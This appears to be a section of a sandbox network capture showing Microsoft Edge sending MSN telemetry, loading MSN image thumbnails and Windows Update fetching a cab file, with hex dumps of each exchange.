2024-11-24 18:12:05 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732471922490&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5247 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1F3CC8AC76826FD52AA3DDED77AB6EB5; _EDGE_S=F=1&SID=36117CBD804B69B03A6369FC81ED6850; _EDGE_V=1; msnup=
2024-11-24 18:12:05 UTC	5247	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 34 54 31 38 3a 31 32 3a 30 32 2e 34 37 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 39 63 33 32 30 39 31 2d 63 34 36 38 2d 34 34 37 32 2d 38 30 31 37 2d 61 35 61 61 34 65 61 64 64 65 30 64 22 2c 22 65 70 6f 63 68 22 3a 22 31 35 35 39 37 34 37 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-24T18:12:02.479Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"49c32091-c468-4472-8017-a5aa4eadde0d","epoch":"15597478"},"app":{"locale":
2024-11-24 18:12:06 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=438d1f4e747549c0ab63ce6ca31dcf78&HASH=438d&LV=202411&V=4&LU=1732471926660; Domain=.microsoft.com; Expires=Mon, 24 Nov 2025 18:12:06 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=09e568a2e7494e4ab93044b761703145; Domain=.microsoft.com; Expires=Sun, 24 Nov 2024 18:42:06 GMT; Path=/;Secure; SameSite=None time-delta-millis: 4170 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 24 Nov 2024 18:12:06 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.8	49841	52.182.143.211	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:05 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732471922518&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9312 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1F3CC8AC76826FD52AA3DDED77AB6EB5; _EDGE_S=F=1&SID=36117CBD804B69B03A6369FC81ED6850; _EDGE_V=1; msnup=
2024-11-24 18:12:05 UTC	9312	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 34 54 31 38 3a 31 32 3a 30 32 2e 35 31 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 39 63 33 32 30 39 31 2d 63 34 36 38 2d 34 34 37 32 2d 38 30 31 37 2d 61 35 61 61 34 65 61 64 64 65 30 64 22 2c 22 65 70 6f 63 68 22 3a 22 31 35 35 39 37 34 37 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-24T18:12:02.517Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"49c32091-c468-4472-8017-a5aa4eadde0d","epoch":"15597478"},"app":{"local
2024-11-24 18:12:06 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=9744a1ca0b8b476197ddfe7ed9e2befa&HASH=9744&LV=202411&V=4&LU=1732471925880; Domain=.microsoft.com; Expires=Mon, 24 Nov 2025 18:12:05 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=eebb2c23a5d54981ba796ca8242e8859; Domain=.microsoft.com; Expires=Sun, 24 Nov 2024 18:42:05 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3362 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 24 Nov 2024 18:12:05 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.8	49842	52.182.143.211	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:06 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732471923127&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5523 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1F3CC8AC76826FD52AA3DDED77AB6EB5; _EDGE_S=F=1&SID=36117CBD804B69B03A6369FC81ED6850; _EDGE_V=1; msnup=
2024-11-24 18:12:06 UTC	5523	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 34 54 31 38 3a 31 32 3a 30 33 2e 31 32 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 36 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 39 63 33 32 30 39 31 2d 63 34 36 38 2d 34 34 37 32 2d 38 30 31 37 2d 61 35 61 61 34 65 61 64 64 65 30 64 22 2c 22 65 70 6f 63 68 22 3a 22 31 35 35 39 37 34 37 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-24T18:12:03.126Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":6,"installId":"49c32091-c468-4472-8017-a5aa4eadde0d","epoch":"15597478"},"app":{"local
2024-11-24 18:12:07 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=b05f223441d5464e9e1890a9c0ede964&HASH=b05f&LV=202411&V=4&LU=1732471926724; Domain=.microsoft.com; Expires=Mon, 24 Nov 2025 18:12:06 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=ba22e319181a4a67924993942b0a4871; Domain=.microsoft.com; Expires=Sun, 24 Nov 2024 18:42:06 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3597 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 24 Nov 2024 18:12:06 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.8	49845	104.117.182.56	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:10 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:12:10 UTC	547	IN	HTTP/1.1 200 OK Last-Modified: Sat, 16 Nov 2024 01:10:29 GMT Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 822 X-Datacenter: eastus X-ActivityId: 8573cc25-f04b-4276-9d05-cb327393d12e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=380002 Expires: Fri, 29 Nov 2024 03:45:32 GMT Date: Sun, 24 Nov 2024 18:12:10 GMT Connection: close
2024-11-24 18:12:10 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.8	49846	104.117.182.56	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:11 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:12:12 UTC	550	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Thu, 14 Nov 2024 00:11:17 GMT X-Source-Length: 17955 X-Datacenter: northeu X-ActivityId: 0a087112-3395-4d02-ae01-0e8f96fd1a66 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=280754 Expires: Thu, 28 Nov 2024 00:11:26 GMT Date: Sun, 24 Nov 2024 18:12:12 GMT Connection: close
2024-11-24 18:12:12 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.8	49847	104.117.182.56	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:13 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:12:14 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Wed, 20 Nov 2024 04:23:41 GMT X-Source-Length: 62552 X-Datacenter: westus X-ActivityId: 6e9d88a8-7621-4810-953c-26c780815227 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=425586 Expires: Fri, 29 Nov 2024 16:25:20 GMT Date: Sun, 24 Nov 2024 18:12:14 GMT Connection: close
2024-11-24 18:12:14 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.8	49848	104.117.182.56	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:15 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:12:16 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Tue, 29 Oct 2024 19:03:22 GMT X-Source-Length: 95457 X-Datacenter: westus X-ActivityId: 155cd87c-435f-4d80-bfaf-3f0e9ec39163 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=132979 Expires: Tue, 26 Nov 2024 07:08:35 GMT Date: Sun, 24 Nov 2024 18:12:16 GMT Connection: close
2024-11-24 18:12:16 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.8	49849	104.117.182.56	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:17 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:12:18 UTC	551	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 15 Nov 2024 06:37:05 GMT X-Source-Length: 1437868 X-Datacenter: westus X-ActivityId: 35f8cf50-b6a5-4c74-ae05-da13e654185f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=390299 Expires: Fri, 29 Nov 2024 06:37:16 GMT Date: Sun, 24 Nov 2024 18:12:17 GMT Connection: close
2024-11-24 18:12:18 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.8	49850	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:22 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2NMxG4bFyKgHpsB&MD=vR+XuAHf HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-24 18:12:23 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: ede8a7b5-5aa0-4f50-9163-6d3511d3436f MS-RequestId: 391faf3d-7924-4e32-9ecb-7f2ba89bc3bc MS-CV: VzkM787TlkSGO5Iq.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 24 Nov 2024 18:12:22 GMT Connection: close Content-Length: 30005
2024-11-24 18:12:23 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
